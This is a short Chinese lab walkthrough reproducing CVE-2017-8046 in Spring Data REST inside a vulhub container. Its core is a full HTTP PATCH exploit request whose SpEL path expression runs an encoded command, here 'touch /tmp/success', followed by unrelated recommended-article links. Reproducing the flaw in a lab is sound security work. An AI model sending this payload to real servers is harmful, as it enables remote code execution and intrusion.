Spring Data Rest 远程命令执行命令(CVE-2017-8046)

(1)访问 http://your-ip:8080/customers/1,然后抓取数据包,使用PATCH请求来修改

PATCH /customers/1 HTTP/1.1

Host:

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json-patch+json

Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

返回kali 输入命令进docker入容器 ls /tmp查看 可以发现 成功创建success

相关推荐
jzpfbpx13 分钟前
[go] 模版方法模式
开发语言·后端·golang
海王正在撒网30 分钟前
Idea集成docker实现镜像打包一键部署
java·docker
JOJO___31 分钟前
Spring IDEA 2024 自动生成get和set以及toString方法
java·ide·intellij-idea
IT杨秀才37 分钟前
Go语言的Sync,你知道多少
后端·go
未来的JAVA高级开发工程师38 分钟前
网关登录校验(2)----网关如何将用户信息传递给微服务
java·数据库·微服务·架构
iQM7542 分钟前
Spring Boot 中的拦截器 Interceptors
java·前端·spring boot
FIN技术铺1 小时前
问:Java中final关键字有哪些用法和作用?
java·开发语言
小凡0121 小时前
Java集合(下)
java·开发语言
菜鸟求带飞_1 小时前
算法打卡:第十一章 图论part05
java·数据结构·算法
GoppViper1 小时前
golang学习笔记32——golang Beego 框架使用详解
笔记·后端·学习·golang·go·beego